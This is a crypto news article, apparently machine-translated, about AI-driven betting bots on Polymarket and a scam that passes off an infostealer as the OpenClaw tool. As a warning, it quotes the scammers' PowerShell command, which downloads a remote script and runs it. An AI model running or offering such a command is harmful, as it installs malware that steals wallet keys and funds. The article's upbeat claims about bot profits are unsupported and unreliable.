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Crypto Prune > News > The boom in AI betting bots at Polymarket: truth or fraud?
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The boom in AI betting bots at Polymarket: truth or fraud?

1 hour ago 7 Min Read

Artificial intelligence bots proliferated massively after the release of OpenClaw, a tool formerly known as Clawdbot. Dozens of users claim to be making profits every day by automating their betting on the Polymarket platform. These brokers primarily operate in the new 5-minute expiration Bitcoin market.

As reported by CriptoNoticias, this type of market allows you to bet on whether the price of Bitcoin will rise or fall in very short intervals. The high frequency of these events makes them ideal for algorithms that process data in real time.. Developers try to capture small price fluctuations Through instant order execution.

However, with the increasing use of these systems, Emergence of fraudulent campaigns very sophisticated. Criminals exploit the enthusiasm for automated transactions to distribute malicious software under false promises. The anonymity of social media facilitates the spread of these financial scams.

Algorithmic betting technology engine

Developers configure these agents using Node.js as the primary execution environment on a server or computer. The system requires an API key from a model such as Claude 3.5 to process betting inference. These bots connect directly to the Polymarket API. Monitor order book and liquidity.

Bots can run on personal PCs or on dedicated servers, but it all depends on the expertise of the developer. From there, the bot will be able to access the Polymarket betting book via the API key. The API key must be configured before launching the bot.

A distinctive feature, and one that has exploded in popularity, is the use of modular abilities called “skills” that extend an agent’s abilities. These allow the AI ​​to browse the web before placing a bet.

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What an AI agent can do is Analyze the Bitcoin market in real time and look for volatility patterns Shocking news. The system automatically executes buy or sell orders according to the risk parameters set by the user. This technology architecture eliminates human latency in decision-making during important financial events.

Verifiable Balance Fraud Investigation

CriptoNoticias was able to verify one of these advertised bots and confirm that it is a scam aimed at stealing funds. Attackers use social engineering tactics that take advantage of blockchain transparency. These will display a link to a Polymarket wallet with a verifiable balance of several thousand dollars.

User confirms that these funds actually exist Look up the public address in block explorer. This verification provides instant confidence in the effectiveness of the supposed betting bot. However, the software download link has no technical relationship with your verified account.

Attackers use installation commands that users copy to Windows or macOS devices to perform the scam. During installation, the scammer owner points out that you need to run certain code from the operating system’s terminal. However, the command powershelliwr -useb https://openclaw.ai/install.ps1 | iex downloads malicious code instead of the original tool. This step installs an “infostealer” that silently takes full control of the operating system.

The malware actively searches wallets such as MetaMask for configuration files, seed phrases, and private keys. In the tutorial, the attackers also promise access to non-existent models, such as GPT-5.2, to attract curious victims. After infecting a computer, the attacker empties the person’s digital assets within minutes.

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Technical difference: actual safe installation

To install OpenClaw legitimately, you do not need to run a script from an unknown site that requires immediate administrative privileges. Managers are used for specialized processes Official package to ensure source code integrity. Users must follow three basic steps for a secure deployment:

  1. Prerequisites: Your operating system must have Node.js version 22 or later installed.
  2. Official command: Users install the tool globally using the command npm install -g openclaw@latest.
  3. Setup wizard: The openclaw onboard command starts a wizard that locally and privately requests an API key.

Tutorials that recommend downloading files directly from questionable .ai domains represent a significant risk. We recommend downloading code only from official repositories on GitHub or through the NPM registry. This technical difference distinguishes actual productivity tools from credential phishing attempts (Phishing).

New frontiers and security of AI trading

The emergence of autonomous agents represents a new era of competition among reasoning algorithms. This transition eliminates human emotional bias and improves pricing efficiency on Polymarket. Real bot works fineHowever, it requires advanced technical knowledge to implement correctly. While some bots are making money on Polymarket, with some successfully converting 50 USD into nearly 3,000 USD, this fame has led to a surge in scams.

It is not easy to make money in this field Despite viral advertising on social networks. AI agent technology offers immense operational utility in automating complex financial processes. However, using third-party scripts without auditing the source code poses significant security risks.

Tools like Antrophic’s Claude Facilitates the application programming processBasically even if you don’t know how to program. However, since auditing and good security practices are ignored, you can easily become a victim of rogue applications.

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Those interested should prioritize using sandboxes to test cryptocurrency-related software. Verifying the official source of an open source project is your only defense against impersonation. The future of this market depends on users’ ability to distinguish between production tools and cheats.

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